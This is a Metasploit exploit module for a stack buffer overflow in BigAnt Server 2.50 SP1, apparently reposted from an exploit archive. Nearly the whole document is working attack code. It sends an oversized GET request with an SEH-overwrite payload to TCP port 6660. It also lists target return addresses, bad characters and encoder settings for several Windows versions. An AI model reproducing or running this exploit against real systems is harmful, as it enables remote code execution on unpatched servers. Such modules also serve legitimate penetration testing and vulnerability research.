BigAnt Server 2.50 SP1 – Remote Buffer Overflow (Metasploit)
## # $Id: bigant_server_250.rb 9669 2010-07-03 03:13:45Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'BigAnt Server 2.50 SP1 Buffer Overflow', 'Description' => %q{ This exploits a stack buffer overflow in the BigAnt Messaging Service, part of the BigAnt Server product suite. This module was tested successfully against version 2.50 SP1. }, 'Author' => [ 'Dr_IDE <Dr_IDE[at]hushmail.com>' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 9669 $', 'References' => [ # It's not clear if these are correct - there was a fix for # the v2.2 vuln back in Dec 2008 [ 'CVE', '2008-1914'], [ 'OSVDB', '44454'], [ 'URL', 'http://www.exploit-db.com/exploits/9673' ], [ 'URL', 'http://www.exploit-db.com/exploits/9690' ] #[ 'B_ID', '28795' ], #[ 'U_RL', 'http://www.milw0rm.com/exploits/5451'], ], 'Privileged' => true, 'DefaultOptions' => { 'EXITFUNC' => 'seh', }, 'Payload' => { 'Space' => 710, 'BadChars' => "\x00\x20\x0a\x0d", 'StackAdjustment' => -3500, 'EncoderType' => Msf::Encoder::Type::AlphanumUpper, 'DisableNops' => 'True', }, 'Platform' => 'win', 'Targets' => [ [ 'BigAnt 2.5 Universal', { 'Ret' => 0x0f9a196a } ], # Tested OK (Dr_IDE & patrickw) p/p/r VBAJET32.dll xpsp3 & w2k [ 'Windows 2000 Pro All English', { 'Ret' => 0x75022ac4 } ], # p/p/r Tested OK (patrickw 20090918) [ 'Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad } ], # Should Work ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Apr 15 2008')) register_options([Opt::RPORT(6660)], self.class) end def exploit connect sploit = "GET " + rand_text_alpha_upper(985) + generate_seh_payload(target.ret) sploit << rand_text_alpha_upper(1000 - payload.encoded.length) print_status("Trying target #{target.name}...") sock.put(sploit + "\r\n\r\n") handler disconnect end end |